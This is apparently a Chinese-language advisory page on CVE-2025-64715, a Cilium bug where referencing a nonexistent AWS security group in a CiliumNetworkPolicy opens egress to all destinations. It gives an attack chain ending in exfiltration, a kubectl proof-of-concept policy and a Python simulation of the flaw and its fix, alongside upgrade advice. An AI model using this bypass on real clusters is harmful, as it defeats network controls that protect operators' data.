IPBUF安全漏洞报告
English
CVE-2025-64715 CVSS 4.0 中危

CVE-2025-64715 Cilium AWS安全组策略绕过漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-64715
漏洞类型
访问控制绕过
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cilium

相关标签

Cilium访问控制绕过CiliumNetworkPolicyAWS安全组eBPFKubernetes网络策略云原生安全CVE-2025-64715

漏洞概述

Cilium是一个基于eBPF的数据平面网络、安全和可观测性解决方案。该漏洞存在于CiliumNetworkPolicy的egress.toGroups.aws.securityGroupsIds功能中。当策略引用的AWS安全组ID不存在或未附加到任何网络接口时,策略的toCIDRset部分不会被生成,导致出站流量可能被允许到比预期更多的目的地。这使得攻击者可以通过引用不存在的AWS安全组来绕过预期的网络访问控制策略,意外扩大网络访问范围。该漏洞影响使用Cilium进行Kubernetes网络策略管理的云原生环境安全。

技术细节

漏洞发生在Cilium处理CiliumNetworkPolicy资源时的策略转换阶段。当配置egress.toGroups.aws.securityGroupsIds字段引用AWS安全组时,Cilium后端会尝试解析这些安全组ID并生成相应的toCIDRset规则。然而,当引用的安全组ID不存在于AWS账户中或未附加到任何ENI(弹性网络接口)时,Cilium的错误处理逻辑存在缺陷:它不会生成任何toCIDRset条目,但同时也不会阻止整个策略的生效。结果是带有不存在安全组引用的egress规则会变成一个无限制的出站流量规则,允许流量到达所有目的地而非预期的IP范围。攻击者需要能够创建或修改CiliumNetworkPolicy资源才能利用此漏洞,通常需要一定的Kubernetes集群访问权限。

攻击链分析

STEP 1
1 - 信息收集
攻击者获取Kubernetes集群访问权限,识别使用CiliumNetworkPolicy配置egress.toGroups.aws.securityGroupsIds的策略
STEP 2
2 - 策略分析
攻击者分析现有策略,发现可以通过修改或创建新策略引用不存在的AWS安全组ID来触发漏洞
STEP 3
3 - 漏洞触发
攻击者创建或修改CiliumNetworkPolicy,在egress.toGroups.aws.securityGroupsIds字段中引用一个不存在的安全组ID(如已删除的sg-xxxxxxx)
STEP 4
4 - 策略绕过
由于Cilium的缺陷,当安全组不存在时,toCIDRset规则不会被生成,但策略仍然生效,导致所有出站流量被允许而非仅限于特定IP范围
STEP 5
5 - 数据外泄/未授权访问
攻击者利用绕过的网络策略,从Pod发起出站连接访问原本被禁止的外部服务或数据存储,实现数据外泄或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-64715 PoC - Cilium AWS Security Group Policy Bypass # This PoC demonstrates how referencing non-existent AWS security groups # in CiliumNetworkPolicy can result in unintended traffic allowance cat << 'EOF' > vulnerable-policy.yaml apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: egress-to-aws-sg spec: egress: - toGroups: - aws: securityGroupsIds: - "sg-00000000000000000" # Non-existent security group ID - toPorts: - ports: - port: "443" protocol: TCP EOF # Apply the vulnerable policy kubectl apply -f vulnerable-policy.yaml # Verify the generated policy (toCIDRset should be empty or missing) kubectl get cnp egress-to-aws-sg -o yaml # Check if traffic is unexpectedly allowed to all destinations # The policy will allow egress to all IPs instead of restricting to SG-associated IPs EOF # Python PoC to demonstrate the policy generation issue cat << 'EOF' > policy_bypass_demo.py #!/usr/bin/env python3 """ CVE-2025-64715 - Cilium AWS Security Group Policy Bypass PoC Demonstrates how non-existent AWS security group references cause policy bypass """ import json def simulate_cilium_policy_processing(security_group_ids, sg_exists_map): """ Simulate Cilium's policy processing for AWS security groups Args: security_group_ids: List of AWS security group IDs in the policy sg_exists_map: Dict mapping SG ID to whether it exists (True/False) Returns: Generated toCIDRset rules """ to_cidr_set = [] for sg_id in security_group_ids: if sg_exists_map.get(sg_id, False): # SG exists, would resolve to actual IP ranges to_cidr_set.append(f"resolved_ip_for_{sg_id}") else: # SG does not exist - BUG: silently skips without blocking print(f"[!] Security group {sg_id} not found, skipping...") # The bug: no toCIDRset is generated, but policy still allows traffic continue return to_cidr_set # Vulnerable scenario: non-existent security group print("=== CVE-2025-64715 Policy Bypass Demonstration ===\n") policy_sgs = ["sg-12345678", "sg-nonexistent-id"] sg_status = { "sg-12345678": True, # Exists, has IPs "sg-nonexistent-id": False # Does NOT exist } print(f"Policy references security groups: {policy_sgs}") print(f"Security group status: {sg_status}\n") result = simulate_cilium_policy_processing(policy_sgs, sg_status) print(f"\nGenerated toCIDRset: {result}") print("\n[!] VULNERABILITY: No toCIDRset generated!") print("[!] Result: Egress policy allows traffic to ALL destinations") print("[!] Expected: Policy should either fail or restrict to found SGs") # Fixed behavior simulation print("\n\n=== Expected Fixed Behavior ===") def fixed_policy_processing(security_group_ids, sg_exists_map): """Fixed version that properly handles missing security groups""" to_cidr_set = [] missing_sgs = [] for sg_id in security_group_ids: if sg_exists_map.get(sg_id, False): to_cidr_set.append(f"resolved_ip_for_{sg_id}") else: missing_sgs.append(sg_id) if missing_sgs: print(f"[!] ERROR: Referenced security groups not found: {missing_sgs}") print("[!] Policy validation FAILED - will not apply") return None return to_cidr_set result_fixed = fixed_policy_processing(policy_sgs, sg_status) EOF

影响范围

Cilium < 1.16.17
Cilium < 1.17.10
Cilium < 1.18.4

防御指南

临时缓解措施
该漏洞没有可用的临时缓解措施。必须升级到Cilium 1.16.17、1.17.10或1.18.4版本才能修复。建议在升级前审查所有CiliumNetworkPolicy资源,确保egress.toGroups.aws.securityGroupsIds中引用的安全组ID存在且有效。同时加强Kubernetes RBAC权限控制,限制非授权用户修改CiliumNetworkPolicy资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表